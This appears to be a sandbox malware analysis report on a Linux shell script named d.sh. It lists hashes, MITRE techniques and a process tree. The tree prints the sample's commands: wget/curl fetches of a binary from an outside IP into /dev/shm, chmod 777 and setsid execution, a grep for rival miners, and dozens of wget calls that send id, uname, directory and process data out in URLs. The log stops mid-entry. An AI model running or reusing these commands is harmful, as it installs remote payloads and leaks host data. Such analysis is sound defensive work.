23ab402769c82205287e2d474ec599768f193697a3bfe3ed3aa37cf068e16e0a

Analysis

max time kernel
38s
max time network
40s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
29/09/2026, 16:54

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
d.sh
Size 1KB
Sample260929-vennpaybkf
SHA256 23ab402769c82205287e2d474ec599768f193697a3bfe3ed3aa37cf068e16e0a
MD5 e36af5b892768e88b0198c8d4ca5f37f
SHA1 2ea040d66046e8bffa145756695cc0b15c3e7cae
SHA512 dcc3f6f1ed209dc4575ea881531f72521869e0312c06549e3fe6d83b901eea943e166fb1e3087472f7300b689c3a379f926abcddfc4e431ec5ac7edb8a3d5e45
TLSH
T14B216AB4F4389D30354EC83E6F4998817AC72D3B4ABD3A64A4439938346C6DD711DB7A
MD5 SHA1 SHA512 TLSH

Score

7^/10

antivm defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 1 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
681	chmod

Executes dropped EXE 2 IoCs

ioc	pid	Process
/dev/shm/.tdk643	682	d.sh
/dev/shm/.tdk643	684	setsid

Enumerates running processes
Discovers information about currently running processes on the system

Checks CPU configuration 1 TTPs 1 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl

Reads CPU attributes 1 TTPs 4 IoCs

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/643/cmdline	ps
File opened for reading	/proc/95/stat	ps
File opened for reading	/proc/309/status	ps
File opened for reading	/proc/581/stat	ps
File opened for reading	/proc/23/status	ps
File opened for reading	/proc/323/stat	ps
File opened for reading	/proc/3/stat	ps
File opened for reading	/proc/141/status	ps
File opened for reading	/proc/8/stat	ps
File opened for reading	/proc/581/status	ps
File opened for reading	/proc/26/stat	ps
File opened for reading	/proc/95/stat	ps
File opened for reading	/proc/135/status	ps
File opened for reading	/proc/6/status	ps
File opened for reading	/proc/132/stat	ps
File opened for reading	/proc/11/status	ps
File opened for reading	/proc/3/status	ps
File opened for reading	/proc/23/status	ps
File opened for reading	/proc/10/stat	ps
File opened for reading	/proc/20/status	ps
File opened for reading	/proc/576/stat	ps
File opened for reading	/proc/sys/kernel/pid_max	ps
File opened for reading	/proc/20/status	ps
File opened for reading	/proc/tty/drivers	ps
File opened for reading	/proc/17/stat	ps
File opened for reading	/proc/9/stat	ps
File opened for reading	/proc/13/status	ps
File opened for reading	/proc/325/cmdline	ps
File opened for reading	/proc/152/stat	ps
File opened for reading	/proc/22/status	ps
File opened for reading	/proc/5/status	ps
File opened for reading	/proc/13/cmdline	ps
File opened for reading	/proc/22/cmdline	ps
File opened for reading	/proc/7/stat	ps
File opened for reading	/proc/141/stat	ps
File opened for reading	/proc/751/status	ps
File opened for reading	/proc/15/status	ps
File opened for reading	/proc/stat	ps
File opened for reading	/proc/626/stat	ps
File opened for reading	/proc/5/stat	ps
File opened for reading	/proc/9/cmdline	ps
File opened for reading	/proc/41/status	ps
File opened for reading	/proc/632/cmdline	ps
File opened for reading	/proc/643/status	ps
File opened for reading	/proc/665/stat	ps
File opened for reading	/proc/95/cmdline	ps
File opened for reading	/proc/294/status	ps
File opened for reading	/proc/4/status	ps
File opened for reading	/proc/325/status	ps
File opened for reading	/proc/311/status	ps
File opened for reading	/proc/2/status	ps
File opened for reading	/proc/311/status	ps
File opened for reading	/proc/21/cmdline	ps
File opened for reading	/proc/6/stat	ps
File opened for reading	/proc/28/cmdline	ps
File opened for reading	/proc/281/stat	ps
File opened for reading	/proc/141/stat	ps
File opened for reading	/proc/166/stat	ps
File opened for reading	/proc/4/stat	ps
File opened for reading	/proc/325/stat	ps
File opened for reading	/proc/10/status	ps
File opened for reading	/proc/23/stat	ps
File opened for reading	/proc/27/cmdline	ps
File opened for reading	/proc/678/cmdline	ps

System Network Configuration Discovery 1 TTPs 1 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
1050	wget

Writes file to shm directory 1 IoCs

Malware can drop malicious files in the shm directory which will run directly from RAM.

description	ioc	Process
File opened for modification	/dev/shm/.tdk643	wget

Writes file to tmp directory 1 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/.dkout	d.sh

/tmp/d.sh
/tmp/d.sh
1⤵
- Executes dropped EXE
- Writes file to tmp directory
PID:643
- /usr/bin/wget
  wget -q -T 5 -O /dev/null http://164.68.109.244/dk-start
  2⤵
  PID:644
- /usr/bin/id
  id
  2⤵
  PID:666
- /bin/uname
  uname -smr
  2⤵
  PID:670
- /usr/bin/head
  head -50
  2⤵
  PID:672
- /bin/ls
  ls -la /tmp /dev/shm /.cache /data
  2⤵
  PID:671
- /bin/sed
  sed -n "1,50p"
  2⤵
  PID:674
- /bin/ps
  ps -ef
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:673
- /bin/grep
  grep -v grep
  2⤵
  PID:678
- /bin/grep
  grep -E "xmrig|kinsing|kdevtmpfsi|minerd|sysrv|\\.x86|\\.i686|/tmp/\\.|/dev/shm/\\."
  2⤵
  PID:677
- /bin/ps
  ps -ef
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:676
- /usr/bin/wget
  wget -q -T 8 -O /dev/shm/.tdk643 http://164.68.109.244/bins/1e
  2⤵
  - Writes file to shm directory
  PID:679
- /usr/bin/curl
  curl -fsS --max-time 8 -o /dev/shm/.tdk643 http://164.68.109.244/bins/1e
  2⤵
  - Checks CPU configuration
  PID:680
- /bin/chmod
  chmod 777 /dev/shm/.tdk643
  2⤵
  - File and Directory Permissions Modification
  PID:681
- /dev/shm/.tdk643
  /dev/shm/.tdk643 --self-check
  2⤵
  PID:682
- /bin/sh
  /bin/sh /dev/shm/.tdk643 --self-check
  2⤵
  PID:682
- /bin/sleep
  sleep 3
  2⤵
  PID:685
- /usr/bin/setsid
  setsid /dev/shm/.tdk643 应用-diagk
  2⤵
  - Executes dropped EXE
  PID:684
- /dev/shm/.tdk643
  /dev/shm/.tdk643 应用-diagk
  2⤵
  PID:684
- /bin/sh
  /bin/sh /dev/shm/.tdk643 应用-diagk
  2⤵
  PID:684
- /bin/ps
  ps -p 684
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:751
- /bin/sleep
  sleep 8
  2⤵
  PID:755
- /bin/ps
  ps -p 684
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:766
- /usr/bin/head
  head
  2⤵
  PID:768
- /bin/ls
  ls -la /.cache
  2⤵
  PID:767
- /usr/bin/tr
  tr " /" ._
  2⤵
  PID:771
- /usr/bin/cut
  cut -c1-100
  2⤵
  PID:772
- /usr/bin/wget
  wget -q -T 3 -O /dev/null "http://164.68.109.244/dk/1/ID=uid=0(root).gid=0(root).groups=0(root)"
  2⤵
  PID:773
- /usr/bin/tr
  tr " /" ._
  2⤵
  PID:776
- /usr/bin/cut
  cut -c1-100
  2⤵
  PID:777
- /usr/bin/wget
  wget -q -T 3 -O /dev/null "http://164.68.109.244/dk/2/UN=Linux.4.9.0-13-armmp-lpae.armv7l"
  2⤵
  PID:778
- /usr/bin/tr
  tr " /" ._
  2⤵
  PID:781
- /usr/bin/cut
  cut -c1-100
  2⤵
  PID:782
- /usr/bin/wget
  wget -q -T 3 -O /dev/null "http://164.68.109.244/dk/3/HOME="
  2⤵
  PID:783
- /usr/bin/tr
  tr " /" ._
  2⤵
  PID:786
- /usr/bin/cut
  cut -c1-100
  2⤵
  PID:787
- /usr/bin/wget
  wget -q -T 3 -O /dev/null http://164.68.109.244/dk/4/EXE
  2⤵
  PID:788
- /usr/bin/tr
  tr " /" ._
  2⤵
  PID:791
- /usr/bin/cut
  cut -c1-100
  2⤵
  PID:792
- /usr/bin/wget
  wget -q -T 3 -O /dev/null http://164.68.109.244/dk/5/_dev_shm:
  2⤵
  PID:793
- /usr/bin/cut
  cut -c1-100
  2⤵
  PID:797
- /usr/bin/tr
  tr " /" ._
  2⤵
  PID:796
- /usr/bin/wget
  wget -q -T 3 -O /dev/null http://164.68.109.244/dk/6/total.0
  2⤵
  PID:798
- /usr/bin/cut
  cut -c1-100
  2⤵
  PID:802
- /usr/bin/tr
  tr " /" ._
  2⤵
  PID:801
- /usr/bin/wget
  wget -q -T 3 -O /dev/null http://164.68.109.244/dk/7/drwxrwxrwt..2.root.root...40.May.13.17:55..
  2⤵
  PID:803
- /usr/bin/tr
  tr " /" ._
  2⤵
  PID:806
- /usr/bin/cut
  cut -c1-100
  2⤵
  PID:807
- /usr/bin/wget
  wget -q -T 3 -O /dev/null http://164.68.109.244/dk/8/drwxr-xr-x.13.root.root.2740.May.13.17:55...
  2⤵
  PID:808
- /usr/bin/tr
  tr " /" ._
  2⤵
  PID:811
- /usr/bin/cut
  cut -c1-100
  2⤵
  PID:812
- /usr/bin/wget
  wget -q -T 3 -O /dev/null http://164.68.109.244/dk/9/
  2⤵
  PID:813
- /usr/bin/cut
  cut -c1-100
  2⤵
  PID:817
- /usr/bin/tr
  tr " /" ._
  2⤵
  PID:816
- /usr/bin/wget
  wget -q -T 3 -O /dev/null http://164.68.109.244/dk/10/_tmp:
  2⤵
  PID:818
- /usr/bin/tr
  tr " /" ._
  2⤵
  PID:821
- /usr/bin/cut
  cut -c1-100
  2⤵
  PID:822
- /usr/bin/wget
  wget -q -T 3 -O /dev/null http://164.68.109.244/dk/11/total.40
  2⤵
  PID:823
- /usr/bin/tr
  tr " /" ._
  2⤵
  PID:826
- /usr/bin/cut
  cut -c1-100
  2⤵
  PID:827
- /usr/bin/wget
  wget -q -T 3 -O /dev/null http://164.68.109.244/dk/12/drwxrwxrwt..8.root.root.4096.Sep.29.17:54..
  2⤵
  PID:828
- /usr/bin/cut
  cut -c1-100
  2⤵
  PID:832
- /usr/bin/tr
  tr " /" ._
  2⤵
  PID:831
- /usr/bin/wget
  wget -q -T 3 -O /dev/null http://164.68.109.244/dk/13/drwxr-xr-x.21.root.root.4096.May.13.19:48...
  2⤵
  PID:833
- /usr/bin/tr
  tr " /" ._
  2⤵
  PID:836
- /usr/bin/cut
  cut -c1-100
  2⤵
  PID:837
- /usr/bin/wget
  wget -q -T 3 -O /dev/null http://164.68.109.244/dk/14/-rw-r--r--..1.root.root...88.Sep.29.17:54..dkout
  2⤵
  PID:838
- /usr/bin/cut
  cut -c1-100
  2⤵
  PID:842
- /usr/bin/tr
  tr " /" ._
  2⤵
  PID:841
- /usr/bin/wget
  wget -q -T 3 -O /dev/null http://164.68.109.244/dk/15/-rwxr-xr-x..1.root.root.1196.May.13.17:57.d.sh
  2⤵
  PID:843
- /usr/bin/tr
  tr " /" ._
  2⤵
  PID:846
- /usr/bin/cut
  cut -c1-100
  2⤵
  PID:847
- /usr/bin/wget
  wget -q -T 3 -O /dev/null http://164.68.109.244/dk/16/drwxrwxrwt..2.root.root.4096.May.13.17:55..font-unix
  2⤵
  PID:848
- /usr/bin/tr
  tr " /" ._
  2⤵
  PID:851
- /usr/bin/cut
  cut -c1-100
  2⤵
  PID:852
- /usr/bin/wget
  wget -q -T 3 -O /dev/null http://164.68.109.244/dk/17/drwxrwxrwt..2.root.root.4096.May.13.17:55..ICE-unix
  2⤵
  PID:853
- /usr/bin/cut
  cut -c1-100
  2⤵
  PID:857
- /usr/bin/tr
  tr " /" ._
  2⤵
  PID:856
- /usr/bin/wget
  wget -q -T 3 -O /dev/null http://164.68.109.244/dk/18/drwx------..3.root.root.4096.May.13.17:57.systemd-private-8d4e44ac4d4a4652ae89b38bf7916d40-systemd-t
  2⤵
  PID:858
- /usr/bin/cut
  cut -c1-100
  2⤵
  PID:863
- /usr/bin/tr
  tr " /" ._
  2⤵
  PID:862
- /usr/bin/wget
  wget -q -T 3 -O /dev/null http://164.68.109.244/dk/19/drwxrwxrwt..2.root.root.4096.May.13.17:55..Test-unix
  2⤵
  PID:864
- /usr/bin/cut
  cut -c1-100
  2⤵
  PID:869
- /usr/bin/tr
  tr " /" ._
  2⤵
  PID:868
- /usr/bin/wget
  wget -q -T 3 -O /dev/null http://164.68.109.244/dk/20/drwxrwxrwt..2.root.root.4096.May.13.17:55..X11-unix
  2⤵
  PID:870
- /usr/bin/cut
  cut -c1-100
  2⤵
  PID:874
- /usr/bin/tr
  tr " /" ._
  2⤵
  PID:873
- /usr/bin/wget
  wget -q -T 3 -O /dev/null http://164.68.109.244/dk/21/drwxrwxrwt..2.root.root.4096.May.13.17:55..XIM-unix
  2⤵
  PID:875
- /usr/bin/cut
  cut -c1-100
  2⤵
  PID:879
- /usr/bin/tr
  tr " /" ._
  2⤵
  PID:878
- /usr/bin/wget
  wget -q -T 3 -O /dev/null http://164.68.109.244/dk/22/PS
  2⤵
  PID:880
- /usr/bin/cut
  cut -c1-100
  2⤵
  PID:884
- /usr/bin/tr
  tr " /" ._
  2⤵
  PID:883
- /usr/bin/wget
  wget -q -T 3 -O /dev/null http://164.68.109.244/dk/23/UID........PID..PPID..C.STIME.TTY..........TIME.CMD
  2⤵
  PID:885
- /usr/bin/tr
  tr " /" ._
  2⤵
  PID:888
- /usr/bin/cut
  cut -c1-100
  2⤵
  PID:889
- /usr/bin/wget
  wget -q -T 3 -O /dev/null "http://164.68.109.244/dk/24/root.........1.....0..2.17:52.?........00:00:02._sbin_init"
  2⤵
  PID:890
- /usr/bin/cut
  cut -c1-100
  2⤵
  PID:894
- /usr/bin/tr
  tr " /" ._
  2⤵
  PID:893
- /usr/bin/wget
  wget -q -T 3 -O /dev/null "http://164.68.109.244/dk/25/root.........2.....0..0.17:52.?........00:00:00.[kthreadd]"
  2⤵
  PID:895
- /usr/bin/tr
  tr " /" ._
  2⤵
  PID:898
- /usr/bin/cut
  cut -c1-100
  2⤵
  PID:899
- /usr/bin/wget
  wget -q -T 3 -O /dev/null "http://164.68.109.244/dk/26/root.........3.....2..0.17:52.?........00:00:00.[ksoftirqd_0]"
  2⤵
  PID:900
- /usr/bin/cut
  cut -c1-100
  2⤵
  PID:904
- /usr/bin/tr
  tr " /" ._
  2⤵
  PID:903
- /usr/bin/wget
  wget -q -T 3 -O /dev/null "http://164.68.109.244/dk/27/root.........4.....2..0.17:52.?........00:00:00.[kworker_0:0]"
  2⤵
  PID:905
- /usr/bin/tr
  tr " /" ._
  2⤵
  PID:908
- /usr/bin/cut
  cut -c1-100
  2⤵
  PID:909
- /usr/bin/wget
  wget -q -T 3 -O /dev/null "http://164.68.109.244/dk/28/root.........5.....2..0.17:52.?........00:00:00.[kworker_0:0H]"
  2⤵
  PID:910
- /usr/bin/tr
  tr " /" ._
  2⤵
  PID:913
- /usr/bin/cut
  cut -c1-100
  2⤵
  PID:914
- /usr/bin/wget
  wget -q -T 3 -O /dev/null "http://164.68.109.244/dk/29/root.........6.....2..0.17:52.?........00:00:00.[kworker_u2:0]"
  2⤵
  PID:915
- /usr/bin/cut
  cut -c1-100
  2⤵
  PID:919
- /usr/bin/tr
  tr " /" ._
  2⤵
  PID:918
- /usr/bin/wget
  wget -q -T 3 -O /dev/null "http://164.68.109.244/dk/30/root.........7.....2..0.17:52.?........00:00:00.[rcu_sched]"
  2⤵
  PID:920
- /usr/bin/cut
  cut -c1-100
  2⤵
  PID:924
- /usr/bin/tr
  tr " /" ._
  2⤵
  PID:923
- /usr/bin/wget
  wget -q -T 3 -O /dev/null "http://164.68.109.244/dk/31/root.........8.....2..0.17:52.?........00:00:00.[rcu_bh]"
  2⤵
  PID:925
- /usr/bin/tr
  tr " /" ._
  2⤵
  PID:928
- /usr/bin/cut
  cut -c1-100
  2⤵
  PID:929
- /usr/bin/wget
  wget -q -T 3 -O /dev/null "http://164.68.109.244/dk/32/root.........9.....2..0.17:52.?........00:00:00.[migration_0]"
  2⤵
  PID:930
- /usr/bin/tr
  tr " /" ._
  2⤵
  PID:933
- /usr/bin/cut
  cut -c1-100
  2⤵
  PID:934
- /usr/bin/wget
  wget -q -T 3 -O /dev/null "http://164.68.109.244/dk/33/root........10.....2..0.17:52.?........00:00:00.[lru-add-drain]"
  2⤵
  PID:935
- /usr/bin/cut
  cut -c1-100
  2⤵
  PID:939
- /usr/bin/tr
  tr " /" ._
  2⤵
  PID:938
- /usr/bin/wget
  wget -q -T 3 -O /dev/null "http://164.68.109.244/dk/34/root........11.....2..0.17:52.?........00:00:00.[watchdog_0]"
  2⤵
  PID:940
- /usr/bin/tr
  tr " /" ._
  2⤵
  PID:943
- /usr/bin/cut
  cut -c1-100
  2⤵
  PID:944
- /usr/bin/wget
  wget -q -T 3 -O /dev/null "http://164.68.109.244/dk/35/root........12.....2..0.17:52.?........00:00:00.[cpuhp_0]"
  2⤵
  PID:945
- /usr/bin/tr
  tr " /" ._
  2⤵
  PID:948
- /usr/bin/cut
  cut -c1-100
  2⤵
  PID:949
- /usr/bin/wget
  wget -q -T 3 -O /dev/null "http://164.68.109.244/dk/36/root........13.....2..0.17:52.?........00:00:00.[kdevtmpfs]"
  2⤵
  PID:950
- /usr/bin/tr
  tr " /" ._
  2⤵
  PID:953
- /usr/bin/cut
  cut -c1-100
  2⤵
  PID:954
- /usr/bin/wget
  wget -q -T 3 -O /dev/null "http://164.68.109.244/dk/37/root........14.....2..0.17:52.?........00:00:00.[netns]"
  2⤵
  PID:955
- /usr/bin/tr
  tr " /" ._
  2⤵
  PID:958
- /usr/bin/cut
  cut -c1-100
  2⤵
  PID:959
- /usr/bin/wget
  wget -q -T 3 -O /dev/null "http://164.68.109.244/dk/38/root........15.....2..0.17:52.?........00:00:00.[khungtaskd]"
  2⤵
  PID:960
- /usr/bin/tr
  tr " /" ._
  2⤵
  PID:963
- /usr/bin/cut
  cut -c1-100
  2⤵
  PID:964
- /usr/bin/wget
  wget -q -T 3 -O /dev/null "http://164.68.109.244/dk/39/root........16.....2..0.17:52.?........00:00:00.[oom_reaper]"
  2⤵
  PID:965
- /usr/bin/cut
  cut -c1-100
  2⤵
  PID:969
- /usr/bin/tr
  tr " /" ._
  2⤵
  PID:968
- /usr/bin/wget
  wget -q -T 3 -O /dev/null "http://164.68.109.244/dk/40/root........17.....2..0.17:52.?........00:00:00.[writeback]"
  2⤵
  PID:970
- /usr/bin/cut
  cut -c1-100
  2⤵
  PID:974
- /usr/bin/tr
  tr " /" ._
  2⤵
  PID:973
- /usr/bin/wget
  wget -q -T 3 -O /dev/null "http://164.68.109.244/dk/41/root........18.....2..0.17:52.?........00:00:00.[kcompactd0]"
  2⤵
  PID:975
- /usr/bin/tr
  tr " /" ._
  2⤵
  PID:978
- /usr/bin/cut
  cut -c1-100
  2⤵
  PID:979
- /usr/bin/wget
  wget -q -T 3 -O /dev/null "http://164.68.109.244/dk/42/root........19.....2..0.17:52.?........00:00:00.[ksmd]"
  2⤵
  PID:980
- /usr/bin/tr
  tr " /" ._
  2⤵
  PID:983
- /usr/bin/cut
  cut -c1-100
  2⤵
  PID:984
- /usr/bin/wget
  wget -q -T 3 -O /dev/null "http://164.68.109.244/dk/43/root........20.....2..0.17:52.?........00:00:00.[kworker_0:1]"
  2⤵
  PID:985
- /usr/bin/tr
  tr " /" ._
  2⤵
  PID:988
- /usr/bin/cut
  cut -c1-100
  2⤵
  PID:989
- /usr/bin/wget
  wget -q -T 3 -O /dev/null "http://164.68.109.244/dk/44/root........21.....2..0.17:52.?........00:00:00.[khugepaged]"
  2⤵
  PID:990
- /usr/bin/tr
  tr " /" ._
  2⤵
  PID:993
- /usr/bin/cut
  cut -c1-100
  2⤵
  PID:994
- /usr/bin/wget
  wget -q -T 3 -O /dev/null "http://164.68.109.244/dk/45/root........22.....2..0.17:52.?........00:00:00.[crypto]"
  2⤵
  PID:995
- /usr/bin/tr
  tr " /" ._
  2⤵
  PID:998
- /usr/bin/cut
  cut -c1-100
  2⤵
  PID:999
- /usr/bin/wget
  wget -q -T 3 -O /dev/null "http://164.68.109.244/dk/46/root........23.....2..0.17:52.?........00:00:00.[kintegrityd]"
  2⤵
  PID:1000
- /usr/bin/cut
  cut -c1-100
  2⤵
  PID:1004
- /usr/bin/tr
  tr " /" ._
  2⤵
  PID:1003
- /usr/bin/wget
  wget -q -T 3 -O /dev/null "http://164.68.109.244/dk/47/root........24.....2..0.17:52.?........00:00:00.[bioset]"
  2⤵
  PID:1005
- /usr/bin/cut
  cut -c1-100
  2⤵
  PID:1009
- /usr/bin/tr
  tr " /" ._
  2⤵
  PID:1008
- /usr/bin/wget
  wget -q -T 3 -O /dev/null "http://164.68.109.244/dk/48/root........25.....2..0.17:52.?........00:00:00.[kblockd]"
  2⤵
  PID:1010
- /usr/bin/tr
  tr " /" ._
  2⤵
  PID:1013
- /usr/bin/cut
  cut -c1-100
  2⤵
  PID:1014
- /usr/bin/wget
  wget -q -T 3 -O /dev/null "http://164.68.109.244/dk/49/root........26.....2..0.17:52.?........00:00:00.[devfreq_wq]"
  2⤵
  PID:1015
- /usr/bin/tr
  tr " /" ._
  2⤵
  PID:1018
- /usr/bin/cut
  cut -c1-100
  2⤵
  PID:1019
- /usr/bin/wget
  wget -q -T 3 -O /dev/null "http://164.68.109.244/dk/50/root........27.....2..0.17:52.?........00:00:00.[watchdogd]"
  2⤵
  PID:1020
- /usr/bin/tr
  tr " /" ._
  2⤵
  PID:1023
- /usr/bin/cut
  cut -c1-100
  2⤵
  PID:1024
- /usr/bin/wget
  wget -q -T 3 -O /dev/null "http://164.68.109.244/dk/51/root........28.....2..0.17:52.?........00:00:00.[kswapd0]"
  2⤵
  PID:1025
- /usr/bin/tr
  tr " /" ._
  2⤵
  PID:1029
- /usr/bin/cut
  cut -c1-100
  2⤵
  PID:1030
- /usr/bin/wget
  wget -q -T 3 -O /dev/null "http://164.68.109.244/dk/52/root........29.....2..0.17:52.?........00:00:00.[vmstat]"
  2⤵
  PID:1032
- /usr/bin/tr
  tr " /" ._
  2⤵
  PID:1038
- /usr/bin/cut
  cut -c1-100
  2⤵
  PID:1039
- /usr/bin/wget
  wget -q -T 3 -O /dev/null "http://164.68.109.244/dk/53/root........41.....2..0.17:52.?........00:00:00.[kthrotld]"
  2⤵
  PID:1040
- /usr/bin/cut
  cut -c1-100
  2⤵
  PID:1044
- /usr/bin/tr
  tr " /" ._
  2⤵
  PID:1043
- /usr/bin/wget
  wget -q -T 3 -O /dev/null "http://164.68.109.244/dk/54/root........42.....2..0.17:52.?........00:00:00.[kapmd]"
  2⤵
  PID:1045
- /usr/bin/cut
  cut -c1-100
  2⤵
  PID:1049
- /usr/bin/tr
  tr " /" ._
  2⤵
  PID:1048
- /usr/bin/wget
  wget -q -T 3 -O /dev/null "http://164.68.109.244/dk/55/root........43.....2..0.17:52.?........00:00:00.[ipv6_addrconf]"
  2⤵
  - System Network Configuration Discovery
  PID:1050
- /usr/bin/cut
  cut -c1-100
  2⤵
  PID:1054
- /usr/bin/tr
  tr " /" ._
  2⤵
  PID:1053
- /usr/bin/wget
  wget -q -T 3 -O /dev/null "http://164.68.109.244/dk/56/root........74.....2..0.17:52.?........00:00:00.[bioset]"
  2⤵
  PID:1055
- /usr/bin/tr
  tr " /" ._
  2⤵
  PID:1058
- /usr/bin/cut
  cut -c1-100
  2⤵
  PID:1059
- /usr/bin/wget
  wget -q -T 3 -O /dev/null "http://164.68.109.244/dk/57/root........95.....2..0.17:52.?........00:00:00.[kworker_u3:0]"
  2⤵
  PID:1060
- /usr/bin/tr
  tr " /" ._
  2⤵
  PID:1063
- /usr/bin/cut
  cut -c1-100
  2⤵
  PID:1064
- /usr/bin/wget
  wget -q -T 3 -O /dev/null "http://164.68.109.244/dk/58/root.......103.....2..0.17:52.?........00:00:00.[kworker_0:1H]"
  2⤵
  PID:1065
- /usr/bin/tr
  tr " /" ._
  2⤵
  PID:1068
- /usr/bin/cut
  cut -c1-100
  2⤵
  PID:1069
- /usr/bin/wget
  wget -q -T 3 -O /dev/null "http://164.68.109.244/dk/59/root.......105.....2..0.17:52.?........00:00:00.[jbd2_vda1-8]"
  2⤵
  PID:1070
- /usr/bin/tr
  tr " /" ._
  2⤵
  PID:1073
- /usr/bin/cut
  cut -c1-100
  2⤵
  PID:1074
- /usr/bin/wget
  wget -q -T 3 -O /dev/null "http://164.68.109.244/dk/60/root.......106.....2..0.17:52.?........00:00:00.[ext4-rsv-conver]"
  2⤵
  PID:1075
- /usr/bin/tr
  tr " /" ._
  2⤵
  PID:1078
- /usr/bin/cut
  cut -c1-100
  2⤵
  PID:1079
- /usr/bin/wget
  wget -q -T 3 -O /dev/null "http://164.68.109.244/dk/61/root.......132.....2..0.17:52.?........00:00:00.[kworker_u2:1]"
  2⤵
  PID:1080
- /usr/bin/cut
  cut -c1-100
  2⤵
  PID:1084
- /usr/bin/tr
  tr " /" ._
  2⤵
  PID:1083
- /usr/bin/wget
  wget -q -T 3 -O /dev/null "http://164.68.109.244/dk/62/root.......135.....2..0.17:52.?........00:00:00.[kworker_0:2]"
  2⤵
  PID:1085
- /usr/bin/tr
  tr " /" ._
  2⤵
  PID:1088
- /usr/bin/cut
  cut -c1-100
  2⤵
  PID:1089
- /usr/bin/wget
  wget -q -T 3 -O /dev/null "http://164.68.109.244/dk/63/root.......141.....1..0.17:52.?........00:00:00._lib_systemd_systemd-journald"
  2⤵
  PID:1090
- /usr/bin/tr
  tr " /" ._
  2⤵
  PID:1093
- /usr/bin/cut
  cut -c1-100
  2⤵
  PID:1094
- /usr/bin/wget
  wget -q -T 3 -O /dev/null "http://164.68.109.244/dk/64/root.......152.....2..0.17:52.?........00:00:00.[kauditd]"
  2⤵
  PID:1095
- /usr/bin/cut
  cut -c1-100
  2⤵
  PID:1099
- /usr/bin/tr
  tr " /" ._
  2⤵
  PID:1098
- /usr/bin/wget
  wget -q -T 3 -O /dev/null "http://164.68.109.244/dk/65/root.......166.....1..0.17:52.?........00:00:00._lib_systemd_systemd-udevd"
  2⤵
  PID:1100
- /usr/bin/tr
  tr " /" ._
  2⤵
  PID:1103
- /usr/bin/cut
  cut -c1-100
  2⤵
  PID:1104
- /usr/bin/wget
  wget -q -T 3 -O /dev/null "http://164.68.109.244/dk/66/root.......221.....1..0.17:52.?........00:00:00._sbin_auditd.-n"
  2⤵
  PID:1105
- /usr/bin/cut
  cut -c1-100
  2⤵
  PID:1109
- /usr/bin/tr
  tr " /" ._
  2⤵
  PID:1108
- /usr/bin/wget
  wget -q -T 3 -O /dev/null "http://164.68.109.244/dk/67/root.......281.....1..0.17:52.?........00:00:00._usr_sbin_cron.-f"
  2⤵
  PID:1110
- /usr/bin/tr
  tr " /" ._
  2⤵
  PID:1113
- /usr/bin/cut
  cut -c1-100
  2⤵
  PID:1114
- /usr/bin/wget
  wget -q -T 3 -O /dev/null "http://164.68.109.244/dk/68/root.......285.....1..0.17:52.?........00:00:00._lib_systemd_systemd-logind"
  2⤵
  PID:1115
- /usr/bin/cut
  cut -c1-100
  2⤵
  PID:1119
- /usr/bin/tr
  tr " /" ._
  2⤵
  PID:1118
- /usr/bin/wget
  wget -q -T 3 -O /dev/null "http://164.68.109.244/dk/69/root.......291.....1..0.17:52.?........00:00:00._usr_sbin_rsyslogd.-n"
  2⤵
  PID:1120
- /usr/bin/cut
  cut -c1-100
  2⤵
  PID:1124
- /usr/bin/tr
  tr " /" ._
  2⤵
  PID:1123
- /usr/bin/wget
  wget -q -T 3 -O /dev/null "http://164.68.109.244/dk/70/message+...294.....1..0.17:52.?........00:00:00._usr_bin_dbus-daemon.--system.--address=systemd:.--n"
  2⤵
  PID:1125
- /usr/bin/cut
  cut -c1-100
  2⤵
  PID:1129
- /usr/bin/tr
  tr " /" ._
  2⤵
  PID:1128
- /usr/bin/wget
  wget -q -T 3 -O /dev/null "http://164.68.109.244/dk/71/root.......297.....1..0.17:52.?........00:00:00._sbin_dhclient.-4.-v.-pf._run_dhclient.eth0.pid.-lf."
  2⤵
  PID:1130
- /usr/bin/tr
  tr " /" ._
  2⤵
  PID:1133
- /usr/bin/cut
  cut -c1-100
  2⤵
  PID:1134
- /usr/bin/wget
  wget -q -T 3 -O /dev/null "http://164.68.109.244/dk/72/daemon.....309.....1..0.17:52.?........00:00:00._usr_sbin_atd.-f"
  2⤵
  PID:1135
- /usr/bin/tr
  tr " /" ._
  2⤵
  PID:1138
- /usr/bin/cut
  cut -c1-100
  2⤵
  PID:1139
- /usr/bin/wget
  wget -q -T 3 -O /dev/null http://164.68.109.244/dk/73/COMP
  2⤵
  PID:1140
- /usr/bin/cut
  cut -c1-100
  2⤵
  PID:1144
- /usr/bin/tr
  tr " /" ._
  2⤵
  PID:1143
- /usr/bin/wget
  wget -q -T 3 -O /dev/null http://164.68.109.244/dk/74/START1E
  2⤵
  PID:1145
- /usr/bin/cut
  cut -c1-100
  2⤵
  PID:1149
- /usr/bin/tr
  tr " /" ._
  2⤵
  PID:1148
- /usr/bin/wget
  wget -q -T 3 -O /dev/null "http://164.68.109.244/dk/75/curl:.(22).The.requested.URL.returned.error:.502.Bad.Gateway"
  2⤵
  PID:1150
- /usr/bin/tr
  tr " /" ._
  2⤵
  PID:1153
- /usr/bin/cut
  cut -c1-100
  2⤵
  PID:1154
- /usr/bin/wget
  wget -q -T 3 -O /dev/null "http://164.68.109.244/dk/76/SC=0"
  2⤵
  PID:1155
- /usr/bin/cut
